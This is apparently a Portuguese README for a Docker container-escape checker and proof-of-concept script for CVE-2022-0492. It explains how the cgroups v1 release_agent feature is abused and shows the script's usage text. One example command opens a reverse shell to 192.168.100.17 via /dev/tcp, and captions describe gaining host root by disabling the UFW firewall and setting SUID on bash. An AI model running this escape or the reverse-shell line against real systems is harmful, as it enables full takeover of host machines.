
Verificador de Breakout do Docker e PoC via CAP_SYS_ADMIN e via namespaces de usuário (CVE-2022-0492)
A exploração da vulnerabilidade exige que o atacante tenha acesso a um contêiner Docker em execução em um sistema vulnerável. Uma vez explorada, o atacante pode escapar do contêiner e obter controle total sobre o sistema host.
Uma vulnerabilidade foi encontrada na função cgroup_release_agent_write do kernel Linux, no arquivo kernel/cgroup/cgroup-v1.c. Esta falha, sob certas circunstâncias, permite o uso do recurso release_agent do cgroups v1 para escalar privilégios e contornar o isolamento de namespaces de forma inesperada.
Em termos mais simples, o cgroups v1 tem um recurso chamado release_agent que executa um programa quando um processo no cgroup é encerrado. Se notify_on_release estiver ativado, o kernel executa o binário do release_agent como root. Ao editar o arquivo release_agent, um atacante pode executar seu próprio binário com privilégios elevados, assumindo o controle do sistema. No entanto, o arquivo release_agent pertence ao root, portanto apenas um usuário com acesso root pode modificá-lo.
# sh CVE-2022-0492.sh
[>] CVE-2022-0492 Docker Container Escape V
[>] Execute this script in a Docker to check for vulnerability or to exploit it. (º___\/{
[>] Usage:
sh CVE-2022-0492.sh --checker Verify if system is vulnerable.
sh CVE-2022-0492.sh -c|--command <COMMAND> Execute command on host machine.
sh CVE-2022-0492.sh -h|--help Print the help panel.
[>] Example:
sh CVE-2022-0492.sh --command 'bash -c "bash -i >& /dev/tcp/192.168.100.17/4444 0>&1"'
Usuário root na máquina host comprometido ao desabilitar o UFW e, em seguida, enviar uma reverse shell.

Usuário root na máquina host comprometido ao definir SUID para o bash; também enviou uma reverse shell.
